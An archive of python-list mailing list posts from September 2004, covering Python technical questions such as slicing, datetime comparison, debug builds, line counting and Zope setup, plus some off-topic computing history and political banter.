hotmail.com (Josef Meile) Date: Mon, 27 Sep 2004 13:17:08 +0200 Subject: Zope, M2Crypto, and Gentoo In-Reply-To: <4157690a$0$80690$a1866201@newsreader.visi.com> References: <4156ddd5$0$78146$a1866201@newsreader.visi.com> <4157690a$0$80690$a1866201@newsreader.visi.com> Message-ID: <4157fb85$1@pfaff2.ethz.ch> Hi Jim, jsmilan at tiny.net wrote: > I answered John by email before I saw his response here. (Thanks, John!) > Basically, I'm not opposed to taking that approach as a last resort. > However, doing so would mean giving up the automatic upate process for > Gentoo. Does anyone else have any ideas? I also like the emerge facility of Gentoo, but I think that things like a webserver (and problably some dependencies) should be installed from source. After all, you don't know what modules are included on the python binary of gentoo. For example, it will be hard to add ldap support for python/zope, since ldap may require some special flags that aren't included on the binary installation. The other problem is that with the binaries the files will be stored on different locations. I personaly preffer to compile the software I use on /usr/local/mySoftName. By doing this, you now where your binaries and config files are. Finally, I don't know if the python installed by gentoo, is the same one as the one installed when emerging zope. This could be also an issue, since you can have to different pythons on your system, but only one will have m2crypto support. The other thing is that I don't know if the m2crypto version that you mentioned (0.13) have the latest ZServerssl for zope 2.7. That's other reason why your install is failing: you are installing ZServerssl for zope 2.6. If you still want to proceed with the binaries, then you have to look for the locations of your python, zope, and m2Crypto with the qpkg command of gentoo (this command isn't normally installed with gentoo, I don't remmember which ebuild you will have to install). ie: % qpkg -l python | more first I adviced you to watch the init script of zope and see which python is used. Then call the python console and try to see if m2crypto is installed there: % /your/python/path/python >>> import M2Crypto If you don't see any error, then you are lucky and it means that the python used by your zope has M2Crypto installed. If you see an error, then you will have to manually install m2crypto as indicated by John. Unfortunatelly I think you will have to manually install ZServerssl for zope 2.7 as indicated by John because m2crypto does not do this. Regards, Josef From peter at engcorp.com Tue Sep 21 16:39:55 2004 From: peter at engcorp.com (Peter Hansen) Date: Tue, 21 Sep 2004 16:39:55 -0400 Subject: New to Python In-Reply-To: References: Message-ID: Jimmie Webb wrote: > Yes, They look good to me. The nCost Value is 0022.63. > but I still get the error ValueError: Invalid literal for float(): EATE TA. > > What does the 'EATE TA' mean? >>> float('EATA TE') Traceback (most recent call last): File "", line 1, in ? ValueError: invalid literal for float(): EATA TE >>> float('this not a float!') Traceback (most recent call last): File "", line 1, in ? ValueError: invalid literal for float(): this not a float! >>> float ('check your data file and recheck your code') Traceback (most recent call last): File "", line 1, in ? ValueError: invalid literal for float(): check your data file and recheck your code -Peter From mark at prothon.org Fri Sep 3 15:08:28 2004 From: mark at prothon.org (Mark Hahn) Date: Fri, 3 Sep 2004 12:08:28 -0700 Subject: Announcing PyCs, a new Python-like language on .Net References: <1aj14grs82tj.1eso0930azfaa$.dlg@40tude.net> <1093794853.349452@news.commspeed.net> <7Y2dncuabfymLajcRVn-gw@powergate.ca> <1iok6gznts9ad.ch1w241kak6y.dlg@40tude.net> <1gjicas.43o0lh1vo2fnaN%aleaxit@yahoo.com> Message-ID: <174wpg8cpd1fw$.1f5rojuiz30fb$.dlg@40tude.net> On Fri, 3 Sep 2004 08:11:36 +0200, Alex Martelli wrote: > Mark Hahn wrote: > ... >>>> It turns out that I missed a sourceforge project called PyCs so we will be >>>> changing our name soon. Our current best guess is Pyxc pronounced Pixie. >>> >>> http://pyxie.sourceforge.net/ >>> >>> Best to avoid homonyms too, I think. Try again. >> >> I see no problem with homonyms, unless it was another computer language. > > I do, because often people speak about technologies in contexts that > doesn't make it clear at all whether one is speaking about a computer > language or some other kind of technology. We are trying to find a new name. It's not easy. > I applaud your efforts (differently from many around here who seem to > sneer at them), even though I'm not going to get involved (no version of > dotNet's CLR runs on the Mac, I believe, so I'm not very interested in > anything that requires the CLR). But I do believe you CAN do much > better than this in terms of naming. I think you are wrong. People are running the CLR on the Mac. I don't remember if it is Mono or DotGNU. From aleaxit at yahoo.com Wed Sep 15 10:13:28 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Wed, 15 Sep 2004 16:13:28 +0200 Subject: comparing datetime with date References: <1f7befae04091414167f3b37d4@mail.gmail.com> Message-ID: <1gk5wh3.6geuhxd1ktN%aleaxit@yahoo.com> Steve Holden wrote: > > Why should this be considered a bug? In my conception, a datetime.date > > covers the whole range of times within the date, so that this equality > > makes sense. It also allows for intuitive inequality comparisons > > between datetime.datetime and datetime.date. > > > Well you do, of course, allow that this appeals to *your* intuition, but > it seems much more reasonable to me to assume that a date, when compared > to a datetime, should specify a single canonical time (such as midnight > at the start of that date). I have no opinion on the specific semantics so I prefer to look at the logic of this... if we allow a date to compare equal to many different datetimes, then we have a situation in which: a == b AND a == c BUT NOT b == c !!! (just pick a as a date, b and c as two different datetimes within it...). This means == does not define an equivalence relationship, and THAT is enough to send me into shivers and cold sweating. Either having a comparison between date and datetime raise an exception, or consider a date to be == to ONE specific datetime, will be OK from this POV. As for which choice is better, if I was the one tasked to design this, I'd go for "In the face of ambiguity, refuse the temptation to guess", and raise an exception. But I don't feel particularly strongly about this. Alex From albalmer at att.net Tue Sep 7 13:29:04 2004 From: albalmer at att.net (Alan Balmer) Date: Tue, 07 Sep 2004 10:29:04 -0700 Subject: Xah Lee's Unixism References: <0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com> <8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net> <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> Message-ID: On Sat, 04 Sep 2004 00:49:18 GMT, gwschenk at fuzz.socal.rr.com (Gary Schenk) wrote: >In comp.lang.perl.misc Alan Balmer wrote: >> On Fri, 03 Sep 2004 22:58:35 GMT, gwschenk at fuzz.socal.rr.com (Gary >> Schenk) wrote: >> >>>In comp.lang.perl.misc Alan Balmer wrote: >>> >>>> >>>> I'm not a fan of Mr Hatch, but blaming him for the shuttle disaster(s) >>>> is somewhat over the top. Why not blame President Bush? That's the >>>> popular thing nowadays. >>>> >>> >>>IIRC, the vice-president is in charge of the space program, so shouldn't >>>President Bush accept some blame? >> >> The Vice President isn't "in charge" of the space program, except for >> Al Gore, who probably invented it. >> > >Don't you dittoheads ever get your facts right? What's a "dittohead"? Are you trying to convey a personal insult of some kind? Please let me know, so I can call you a name, too. > >http://www.jfklibrary.org/images/jfk-lbj01.jpg > >http://www.americaslibrary.gov/cgi-bin/page.cgi/jb/modern/launch_1 Johnson is no longer Vice President. >http://www.thespacereview.com/article/163/1 > As shown in the last reference, there is currently a *proposal* for a new steering council to be chaired by the VP. Hasn't happened yet, and if it does, it will be quite a stretch to say that it's "in charge" of the space program. >> The shuttles were designed and built some considerable time before >> Bush became President. >> > >True, although the first shuttle flight was in 1981, while Bush was vice- >president. > >As the above references show, Bush was not head of the space council >as Reagan was not a fan. Bush was busy selling anthrax and missiles >to Iran and Iraq. > >> Good try, though, the DNC would be proud. >> > >I doubt it. Don't sell your efforts short. Mr. Kerry needs all the help he can get. -- Al Balmer Balmer Consulting removebalmerconsultingthis at att.net From claird at lairds.us Tue Sep 21 21:08:05 2004 From: claird at lairds.us (Cameron Laird) Date: Wed, 22 Sep 2004 01:08:05 GMT Subject: Python 3.0, rich comparisons and sorting order References: <864d370904092109509df67ee@mail.gmail.com> <_YWdnWax9KXx783cRVn-og@giganews.com> Message-ID: <2at622-68v.ln1@lairds.us> In article , Carlos Ribeiro wrote: >On Tue, 21 Sep 2004 14:26:54 -0400, Istvan Albert > wrote: >> If the objects cannot be compared then there is no >> reasonable result. Getting them back in whatever order is not one. >> You're better off not sorting then. If half of your objects are >> sortable and the rest are not what should the result be? > >Well, there is a sizeable chunk of mathemathical theory dealing with >sorting things that can't be directly compared -- google for >topological sorting. It's used, for example, in graph theory. But >that's off topic, I've mentioned it just to point to you that it's >really dangerous to make assertions regarding what's reasonable or not >with regards to sorting... . . . I thought I understood this thread, but now I'm *really* confused. Yes, mathematicians talk about partial orders. Mr. Ribeiro, I know you have good ideas. Are you saying that you do want Python to implement topological orders over all input sequences? In principle, I guess that's feasible. It strikes me as a specialty item; we're all probably best off to build in sorting as it is now, and leave toposorts to those who need them. I don't particularly think they'd confuse the masses. I just figure Pythonia's energy is better ap- plied elsewhere. From Brian.Inglis at SystematicSW.Invalid Thu Sep 9 08:04:35 2004 From: Brian.Inglis at SystematicSW.Invalid (Brian Inglis) Date: Thu, 09 Sep 2004 12:04:35 GMT Subject: Xah Lee's Unixism References: <41371e5c$0$19723$61fed72c@news.rcn.com> <20040904.2231.57679snz@dsl.co.uk> <413af268$0$19706$61fed72c@news.rcn.com> <413c5b9c$0$19705$61fed72c@news.rcn.com> <20040907.2104.57722snz@dsl.co.uk> Message-ID: On Tue, 07 Sep 2004 22:04:52 +0100 (BST) in alt.folklore.computers, bhk at dsl.co.uk (Brian {Hamilton Kelly}) wrote: >On Tuesday, in article > > Brian.Inglis at SystematicSW.Invalid "Brian Inglis" wrote: > >> I was never aware that DEC offered TCP/IP. > >You'll have seen my later post about "TCP/IP Services for Vax/VMS" >(which, a niggle tells me, had a different name, either before or after). >This was written by the Unix developers at DEC, and consequently was very >kuldgy and astonishingly badly-documented (for those of us used to the >high quality of VMS documentation). > >Did you never see a > UCX> >prompt? > >> Politics and not timing was why TCP/IP didn't get into VMS: >> d|i|g|i|t|a|l backed the European horse that never ran as it fitted >> better with their network hardware capabilities and DECnet plans. >> It also meant they did not have to deal with those BBN guys that had >> developed a competing OS and network. >> They had whole suites of products layered on top of DECnet that were >> sold to European governments and contractors. > >Can you say "Colour Book Software"? :-( I thought it was "Colouring Book Networking" ;^> >(Mind you, unattended file transfer running overnight beats FTP hands >down.) Until you measure the transfer rate. Reliable unattended FTP file transfer is doable with some work (mainly due to FTP not always returning useful error codes), and finishes much faster. -- Thanks. Take care, Brian Inglis Calgary, Alberta, Canada Brian.Inglis at CSi.com (Brian[dot]Inglis{at}SystematicSW[dot]ab[dot]ca) fake address use address above to reply From aahz at pythoncraft.com Thu Sep 2 16:09:50 2004 From: aahz at pythoncraft.com (Aahz) Date: 2 Sep 2004 16:09:50 -0400 Subject: Tuple question References: <41374a65$0$22750$db0fefd9@news.zen.co.uk> <0qKdnZXAHfyPyKrcRVn-sg@powergate.ca> Message-ID: In article , Peter Hansen wrote: > >Why do you think tuples use significantly less memory than lists? >As far as I know, they don't. (They do use less, but if you are >really talking about huge amounts of data such that you would >be trying to optimize in this way, then the amount that they use >is not *significantly* less.) Actually, if you have large numbers of short sequences, the memory savings from tuples can indeed be significant. I don't remember off-hand what the number is, but I think it's something on the order of 20%. -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "To me vi is Zen. To use vi is to practice zen. Every command is a koan. Profound to the user, unintelligible to the uninitiated. You discover truth everytime you use it." --reddy at lion.austin.ibm.com From adalke at mindspring.com Sat Sep 11 12:15:03 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Sat, 11 Sep 2004 16:15:03 GMT Subject: ANN: Python Graph Wiki In-Reply-To: References: Message-ID: Magnus Lie Hetland wrote: > Others have been able to add some material. Perhaps you could try > again? (And -- do you have any more specifics on how things failed?) For me my post and my previews time out after 60 seconds and the changes never get on the page. Andrew dalke at dalkescientific.com From benevilent at optusnet.com.au Tue Sep 14 07:23:11 2004 From: benevilent at optusnet.com.au (benevilent at optusnet.com.au) Date: Tue, 14 Sep 2004 21:23:11 +1000 Subject: debug build: import problem Message-ID: <1095160991.639.7.camel@wibble> Hey, I have made a Python build with the flag --with-pydebug. When I try to import modules such as NumPy's multiarray.so, I get errors like the following: File "/usr/lib/python2.3/site-packages/Numeric/Numeric.py", line 91, in ? import multiarray ImportError: /usr/lib/python2.3/site-packages/Numeric/multiarray.so: undefined symbol: Py_InitModule4 I presume this means that a debug build of python uses a different function for initialising a python module. Is it possible to avoid the situation where each module not included within the Python distribuition requires explicit support such that it can be used with a debug build of Python? Thanks, Laurie From jeff at ccvcorp.com Wed Sep 29 16:30:25 2004 From: jeff at ccvcorp.com (Jeff Shannon) Date: Wed, 29 Sep 2004 13:30:25 -0700 Subject: interactive help on string functions - howto In-Reply-To: <415B17D0.6080806@skynet.be> References: <415aede9$0$24598$ba620e4c@news.skynet.be> <415AF37B.9080101@bellsouth.net> <415B17D0.6080806@skynet.be> Message-ID: <10lm6nfbau99c84@corp.supernews.com> Helmut Jarausch wrote: > Many thanks for the hint. > > Still I wonder why I have to prefix it with 'str.' > I don't need to import str and I don't need to prefix rstrip > with 'str.' to USE it - why do I have to do so with HELP then? But you *do* prefix rstrip() with *a* str when you use it. rstrip() is a string method. Strings are of type 'str'. So an expression like "my text".rstrip() is exactly equivalent to str.rstrip("my text") as can easily be demonstrated. >>> str.rstrip('foo! ') 'foo!' >>> 'foo! '.rstrip() 'foo!' >>> Python doesn't know where rstrip() is unless you *tell* it that it's a string method. When you're calling it, you're telling it that it's a string method by calling it from an instance of type str. When passing it to help(), you need to tell it that it's a string method by prepending 'str.' to it. Jeff Shannon Technician/Programmer Credit International From heikowu at ceosg.de Mon Sep 20 07:32:23 2004 From: heikowu at ceosg.de (Heiko Wundram) Date: Mon, 20 Sep 2004 13:32:23 +0200 Subject: python is going to die! =( In-Reply-To: <1c7kyo6hkmag$.dlg@thorstenkampe.de> References: <1c7kyo6hkmag$.dlg@thorstenkampe.de> Message-ID: <200409201332.23263.heikowu@ceosg.de> Am Montag, 20. September 2004 13:25 schrieb Thorsten Kampe: > New language constructs are rapidly adopted; often you can hear > someone say: "in Python 2.4 you could write this as..." ... and noone > objects. Now if that isn't progressive... It's not about code written for 2.4 being backwards compatible to 1.5.2 (this is also complicated by the fact that the stdlib is constantly growing, and that's fine), but that code which was written for 1.5.2 will still run on 2.4... And that's a big help! Heiko. From adalke at mindspring.com Sun Sep 19 11:40:36 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Sun, 19 Sep 2004 15:40:36 GMT Subject: Determining if a client PC has an Internet connection In-Reply-To: <414d9c34$0$58894$75868355@news.frii.net> References: <1095578301.31957.263.camel@devilbox.devilnet.internal> <414d9c34$0$58894$75868355@news.frii.net> Message-ID: Stuart McGraw wrote: > I'm not sure this is 100% reliable either. I have several PCs on a home > network with a Linux box running a local caching DNS server that is the > primary (and sole) DNS server for the Windoze boxes.. That server is > always reachable even when my modem internet connection is down. And speaking of that case, the OP should add support (at least when not on MS Windows) for the user to specify on-line/off-line. I had dial-on-demand before I got DSL and it was annoying when a few programs decided to use the net on there own. My connection would dial even when I wasn't doing anything. Andrew From andy at wild-flower.co.uk Thu Sep 30 18:13:07 2004 From: andy at wild-flower.co.uk (andy) Date: Thu, 30 Sep 2004 23:13:07 +0100 Subject: Help required with mod_python and apache virtual hosts Message-ID: <1096582387.3190.8.camel@gibson> Hi, I'm trying to get mod_python working on my web server, but I'm running into problems, possibly due to having virtual hosts configured. I'm no apache guru (newbie is more accurate!) so I could easily be doing something wrong. The apache configuration is further complicated by having an include file for each virtual host, so the config isn't actually *in* the main apache conf file! I've read through several tutorials, but they all seem to deal with a much simpler setup than I have. I *could* throw away the current config and start again, but I'd inevitably break more than I fixed! So, are there any mod_python experts out there willing to put up with some daft questions? I live in hope ;-) -andyj From aleaxit at yahoo.com Wed Sep 22 17:17:11 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Wed, 22 Sep 2004 23:17:11 +0200 Subject: How to count lines in a text file ? References: <414ed896$0$26378$ba624c82@nntp02.dk.telia.net> <414eda06$0$26379$ba624c82@nntp02.dk.telia.net> <1gkf46r.1xrytm21mny6pfN%aleaxit@yahoo.com> <1gkiss6.1ycjzr21dhrf4pN%aleaxit@yahoo.com> <1Lk4d.404$zG1.191@newsread3.news.pas.earthlink.net> Message-ID: <1gkjeoc.7vqb10d1u1awN%aleaxit@yahoo.com> Andrew Dalke wrote: > Alex Martelli wrote: > > If one is really in a hurry counting lines, a dedicated C extension > > might help. E.g.: > > > > static PyObject *count(PyObject *self, PyObject *args) > ... > > Using this count-items-in-iterable thingy > > There's been a few times I've wanted a function like Me too, that's why I wrote the C and Pyrex versions:-). > this. I keep expecting that len(iterable) will work, > but of course it doesn't. Yep -- it would probably be too risky to have len(...) consume a whole iterator, beginning users wouldn't expect that and might get burnt. > Would itertools.len(iterable) be useful? More likely > the name collision with len itself would be a problem, > so perhaps itertools.length(iterable). Unfortunately, itertools's functions are there to produce iterators, not to consume them. I doubt Raymond Hettinger, itertools' guru, would approve of changing that (though one could surely ask him, and if he surprised me, I guess the change might get in). There's currently no good single place for 'accumulators', i.e. consumers of iterators which produce scalars or thereabouts -- sum, max, and min, are built-ins; other useful accumulators can be found in heapq (because they're implemented via a heap...)... and there's nowhere to put the obviously needed "trivial" accumulators, such as average, median, variance, count... A "stats" module was proposed, but also shot down (presumably people have more ambitious ideas about 'statistics' than there simple accumulators, alas -- I'm not sure exactly what the problem was). Alex From danb_83 at yahoo.com Wed Sep 1 21:41:58 2004 From: danb_83 at yahoo.com (Dan Bishop) Date: 1 Sep 2004 18:41:58 -0700 Subject: I think a problem occured when i used long() References: <8f17f4bc.0409011101.5ace996@posting.google.com> Message-ID: alikakakhel3 at hotmail.com (Ali) wrote in message news:<8f17f4bc.0409011101.5ace996 at posting.google.com>... > I did the folloing in python shell: > > >>> x = 5.07e-25 > >>> x = long(x) > >>> print x > 0L > > Um... I was under the impresion that long numbers had very very long > precision. But, it seems that in this case it rounded it to zero :( "long" numbers are indeed unbounded, but they're only for integers; fractions get truncated. >>> long(1.001) 1L >>> long(0.999) 0L 5.07e-25 is between 0 and 1, so it gets rounded to zero. Perhaps you meant 5.07e+25, which doesn't. >>> long(5.07e+25) 50699999999999999203082240L (The "noise" digits at the end are there because the original float value is stored with only 53 significant bits.) Or perhaps you really do want high-precision fractional values. You *can* use long for this, by scaling your data so it's an integer. For example, instead of storing an amount as $1.99, store it as 199 cents (and remember the scaling by 100). For greater fractional precision, use higher scaling factors. The "decimal" class in Python 2.4 will take care of this behind the scenes. From eric_brunel at despammed.com Fri Sep 10 12:30:24 2004 From: eric_brunel at despammed.com (Eric Brunel) Date: Fri, 10 Sep 2004 18:30:24 +0200 Subject: WxInter References: Message-ID: Phil Thompson wrote: [snip] >>The main difference between the tk canvas and the other toolkits' canvases >>is in fact quite simple: in other toolkits, once displayed, a canvas item >>is just a bunch of points. In tk, it remains a whole item which can be >>manipulated as a whole. Basically, in tk, canvases are for vector drawing; >>in other toolkits, they're more for bitmap drawing. And this makes quite a >>difference... -- > > > Some other toolkits maybe, but not all... > > http://doc.trolltech.com/3.3/canvas.html As I said in a previous post, I'm quite glad to be proven wrong... Too bad Qt's not free for Windows... -- - Eric Brunel - PragmaDev : Real Time Software Development Tools - http://www.pragmadev.com From unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom Tue Sep 28 17:34:02 2004 From: unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom (=?iso-8859-1?Q?Michel_Claveau_-_abstraction_m=E9ta-galactique_non_trivial?= =?iso-8859-1?Q?e_en_fuite_perp=E9tuelle.?=) Date: Tue, 28 Sep 2004 23:34:02 +0200 Subject: Extracting Zip Files References: Message-ID: <4159d920$0$30683$8fcfb975@news.wanadoo.fr> Hi ! You can try : http://mclaveau.com/ress/python/zipmci.htm @-salutations -- Michel Claveau From moexu13 at gmail.com Mon Sep 13 18:56:10 2004 From: moexu13 at gmail.com (M. Bitner) Date: Mon, 13 Sep 2004 15:56:10 -0700 Subject: Ranting about the state of Python IDEs for Windows In-Reply-To: <864d3709040913153679cd2461@mail.gmail.com> References: <864d3709040913153679cd2461@mail.gmail.com> Message-ID: <57c312d304091315563fb93b22@mail.gmail.com> I don't know if Komodo uses Scintilla as the editor or not. Komodo is primarily based on Mozilla. It does have tabbed windows for editing and the ability to organize your files in projects. They have a 30-day trial version if you want to try it out. On Mon, 13 Sep 2004 19:36:59 -0300, Carlos Ribeiro wrote: > Alberto, > > On Mon, 13 Sep 2004 23:09:44 +0200, Alberto Santini wrote: > > I suggest you > > > > http://www.scintilla.org/ > > It's not going to help with my particular problem... because almost > *all* editors that I've tried already use Scintilla through various > different bindings. In fact, Boa, Eric3, PythonWin *and* DrPython all > use it. The only tool that I'm not sure about it is Komodo - but I > wouldn't be surprised if it too used Scintilla as the text editor > widget. I also have downloaded SciTE and a couple other Scintilla > based editors. > > The problem here is not with the editor -- is with the supporting > environment. My app is still in the early stages of programming and > already has several different source code files in several > directories. Were I using a tool like Delphi, it would be fairly easy > to keep track of everything. As I said, it's not that I can't do it > otherwise. It's just that I know from my personal experience that a > good tool can save a lot of time and add more convenience to the job. > > > > -- > Carlos Ribeiro > Consultoria em Projetos > blog: http://rascunhosrotos.blogspot.com > blog: http://pythonnotes.blogspot.com > mail: carribeiro at gmail.com > mail: carribeiro at yahoo.com > -- > http://mail.python.org/mailman/listinfo/python-list > From rpw3 at rpw3.org Thu Sep 2 05:00:04 2004 From: rpw3 at rpw3.org (Rob Warnock) Date: Thu, 02 Sep 2004 04:00:04 -0500 Subject: Xah Lee's Unixism References: <7fe97cc4.0408251356.34f2102a@posting.google.com> <4134a207$0$65568$a1866201@newsreader.visi.com> <86mdj05ucclb3tqjqgevum54o7k8jt2msq@4ax.com> Message-ID: Brian Inglis wrote: +--------------- | rpw3 at rpw3.org (Rob Warnock) wrote: | >Which, like PS/8 & OS-8 [and "DECsystem-8" from Geordia Tech] for the | >PDP-8, modelled the command syntax after that of the venerable PDP-10!! | > | >+--------------- | >| Consider the "PIP" command. | >+--------------- | > | >Indeed. And COPY & DEL & DIR, etc. | | But CP/M also derived from IBM VM CP(!) and CMS: | mount a ... | attach con/rdr/lst/pun ... +--------------- Those were also PDP-10 Monitor commands, and probably PDP-6 Monitor before that. -Rob ----- Rob Warnock 627 26th Avenue San Mateo, CA 94403 (650)572-2607 From russblau at hotmail.com Wed Sep 1 17:41:16 2004 From: russblau at hotmail.com (Russell Blau) Date: Wed, 1 Sep 2004 17:41:16 -0400 Subject: negative stride list slices References: <8a638f47.0409010941.7f1cbbad@posting.google.com> <2pmj4aFmofl2U1@uni-berlin.de> Message-ID: <2pmtvtFmfn0aU1@uni-berlin.de> "Shalabh Chaturvedi" wrote in message news:mailman.2735.1094073280.5135.python-list at python.org... > Reid Nichol wrote: > > This was the part that I was refering to: > > > > +---+---+---+---+---+ > > | H | e | l | p | A | > > +---+---+---+---+---+ > > 0 1 2 3 4 5 > > -5 -4 -3 -2 -1 > > > > > > Does it not all work the same in practice? > > > I'd like to add: > > +---+---+---+---+---+ > | H | e | l | p | A | > +---+---+---+---+---+ > 0 1 2 3 4 5 > -5 -4 -3 -2 -1 > | | > start end (defaults for +ve step) > end start (defaults for -ve step) > > (Is this correct?) The tutorial says, "The slice from i to j consists of all characters between the edges labeled i and j, respectively." So [1:3] starts at the left edge of the character with index 1, and ends at the left edge of the character with index 3, returning "el". However, a slice from 3:1:-1 starts at the *right* edge of the character with index 3, and ends at the *right* edge of the character with index 1, returning "pl". So the above diagram is not correct for negative steps (the "backwards" slice consists of characters between the edges labeled j+1 and i+1, in reverse order). Is this difference intended, or a bug? (One consequence of this difference is that a slice of [5:0:-1] returns something different from a slice of [5: :-1]!) -- I don't actually read my hotmail account, but you can replace hotmail with excite if you really want to reach me. From uscode at dontspam.me Sat Sep 25 00:12:48 2004 From: uscode at dontspam.me (USCode) Date: Fri, 24 Sep 2004 21:12:48 -0700 Subject: Wrapping Python ? Message-ID: Does Python have facilities for wrapping up the interpreter, any necessary modules, GUI library, python scripts, image files, etc. up into a single executable like exists for Tcl/Tk? e.g. http://freewrap.sourceforge.net/ http://www.equi4.com/starkit.html I've seen py2exe but it's not quite the same thing and doesn't appear to be as comprehensive as the above 2 are for Tcl/Tk. Thanks! From spam at mouse-potato.com Thu Sep 2 15:00:52 2004 From: spam at mouse-potato.com (Pascal Bourguignon) Date: 02 Sep 2004 19:00:52 +0000 Subject: Xah Lee's Unixism References: <7fe97cc4.0408251356.34f2102a@posting.google.com> <1gj5eeq.gb3dk41wup9zwN%otto.wyss@orpatec.ch> <87hdqptl96.fsf_-_@thalassa.informatimago.com> <4PGdnfsOfdDPi63cRVn-tA@speakeasy.net> <41337FC9.8070902@hotmail.com> <%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net> <2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com> Message-ID: <877jrcjy1n.fsf@thalassa.informatimago.com> "John Thingstad" writes: > Note the Mac OS 10 / Darwin uses a unix kernel because of all the > problems with > interoperabillity OS 9 had with talking to Windows and Unix boxes. No that's not the reason. The reason is ONLY because of the lack of virtual memory management (with separation of addressing spaces for processes) in MacOS. That's the one error in design in MacOS I identified in version 1.0 that they've dragged all along for 20 years. (And I bet that if they did not make it, AAPL would be $50-$80 now, and they'd have at least 40%-50% of market share). Instead, they've wasted resources, CEOs and CTOs for 10 years before the NeXT take over. -- __Pascal Bourguignon__ http://www.informatimago.com/ Our enemies are innovative and resourceful, and so are we. They never stop thinking about new ways to harm our country and our people, and neither do we. From ml at dynkin.com Thu Sep 30 14:34:37 2004 From: ml at dynkin.com (George Yoshida) Date: Fri, 01 Oct 2004 03:34:37 +0900 Subject: SegFault using deque in 2.4b3 In-Reply-To: References: Message-ID: A bit simpler version(narrow the problem). ## START OF PROGRAM import threading import random from collections import deque class Deq(threading.Thread): N = 10 ** 4 def __init__(self): threading.Thread.__init__(self) self.d = deque() def run(self): for i in xrange(self.N): n = random.random() if n < 0.5: self.d.append(self) else: print ".", def main(): for i in xrange(40): deq = Deq() deq.start() if __name__ == '__main__': main() ## END OF PROGRAM - George From jepler at unpythonic.net Fri Sep 10 11:42:08 2004 From: jepler at unpythonic.net (Jeff Epler) Date: Fri, 10 Sep 2004 10:42:08 -0500 Subject: string formatting with mapping & '*'... is this a bug? In-Reply-To: <1gjw1ih.2x26851nz2m54N%aleaxit@yahoo.com> References: <20040909140649.6d2eff6e@gypsy.pfortin.com> <20040909152328.2233c917@gypsy.pfortin.com> <1gjvffn.1bzib2wjohb3aN%aleaxit@yahoo.com> <20040909183705.69696290@gypsy.pfortin.com> <1gjw1ih.2x26851nz2m54N%aleaxit@yahoo.com> Message-ID: <20040910154207.GC20186@unpythonic.net> On Fri, Sep 10, 2004 at 08:27:44AM +0200, Alex Martelli wrote: > Pierre Fortin wrote: > ... > > I was hoping to use the likes of: "%(key)*.*f" % map > > however, unlike with the non-(key) formats, there appears to be no way to > > specify a "*.*" size when a map is used... > > It is not clear to me where you would expect to get the values for those > stars from -- 'map' being a dictionary it has no concept of "ordering", > so there is no concept of "next value" after map['key']. Perhaps Python string formatting should be enhanced similarly to the $ extension (from SuS) in C. By default, the arguments are used in the order given, where each `*' and each conversion specifier asks for the next argument (and it is an error if insufficiently many arguments are given). One can also specify explicitly which argument is taken, at each place where an argument is required, by writing `%m$' instead of `%' and `*m$' instead of `*', where the decimal integer m denotes the position in the argument list of the desired argument, indexed starting from 1. Thus, printf("%*d", width, num); and printf("%2$*1$d", width, num); are equivalent. In the case of Python, this would become print "%(width)*(num)d" % {'width': width, 'num': num} Jeff -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 196 bytes Desc: not available URL: From tim.hochberg at ieee.org Wed Sep 1 19:06:44 2004 From: tim.hochberg at ieee.org (Tim Hochberg) Date: Wed, 01 Sep 2004 16:06:44 -0700 Subject: negative stride list slices In-Reply-To: References: <8a638f47.0409010941.7f1cbbad@posting.google.com> <2pmj4aFmofl2U1@uni-berlin.de> <9LOdnaw-DsKUoavcRVn-vg@powergate.ca> Message-ID: Peter Hansen wrote: > (Please don't top-post. It really buggers up the quoting > and makes discussion hard.) > > Julio O?a wrote: > >> Slice has three arguments, [begin:end:step] >> >> when doing s[:-3:-1] you are asking the las to elements of the list in >> reversed order. > > > Uh, yeah. Okay. So let's say that part was obvious. Now > please explain *which* elements are being listed in reverse > order, referring to the index value -3 and the elided > index value. Presumably one of those refers to the beginning > or end of the list, while the other one refers to something > that is referenced as "-3". Can you point to a diagram or > description in the documentation or tutorial which actually > explains this? Or can you (or anyone) explain it in your > own words? Or is everyone who thinks this makes sense just > pretending to actually understand it? I've been using extended slicing in Numeric and now numarray for years and I even wrote some classes that implement extended slicing, but I still often find it confusing to use negative indices in practice. However, despite that confusion, I'll give a shot at explaining it. There are (at least) two issues: what to do with missing indices and given all the indices, what does it all mean. I'll start with the first issue, since it's simpler. Of the three indices (start, stop and step), only start and stop are potentially confusing, since step simply defaults to 1. Start defaults to the first element (0) if step is greater than zero, otherwise it defaults to the last element (len(s)-1). Stop, on the other hand, defaults to one past the edge of the sequence. If step is positive, it's one past the far edge (len(s)), otherwise it's one past the near edge. One would be tempted to write this as -1, but that won't works since that means the end of the sequence, so we'll call it (-len(s)-1). In summary the missing indices are supplied as: start = 0 if (step > 0) else len(s)-1 stop = len(s) is (step > 0) else -len(s)-1 step = 1 On to issue number two. I've always understood extended slicing in relation to the range. In Numeric this relation is best expressed using Numeric.take, however for general python consumption I'll cast it in terms of list comprehensions. Since we've already disposed of how to supply the missing parts of the slice, this will only deal with the case where all parts are supplied. In addition, if start or stop is less than zero, we add len(s) so that all values are nonnegative unless stop was -len(s)-1, in which case it ends up as -1. With that wordy preamble, here's how I've always understood extended slicing: s[start:stop:step] ~ [s[i] for i in range(start,stop,step)] Let me show a few examples: >>> s = 'python' >>> s[:-3:-1] 'no' >>> s[len(s)-1:-3:-1] # Fill in the default values 'no' >>> [s[i] for i in range(len(s)-1, len(s)-3,-1)] # equiv to s[:-3:-1] ['n', 'o'] >>> s[4::] 'on' >>> s[4:len(s):1] # Fill in the default values 'on' >>> [s[i] for i in range(4,len(s),1)] # equiv to s[4::] ['o', 'n'] >>> s[4::-1] 'ohtyp' >>> s[4:-len(s)-1:-1] # Fill in the default values 'ohtyp' >>> [s[i] for i in range(4,-1,-1)] # equiv to s[4::-1] ['o', 'h', 't', 'y', 'p'] Is this confusing? 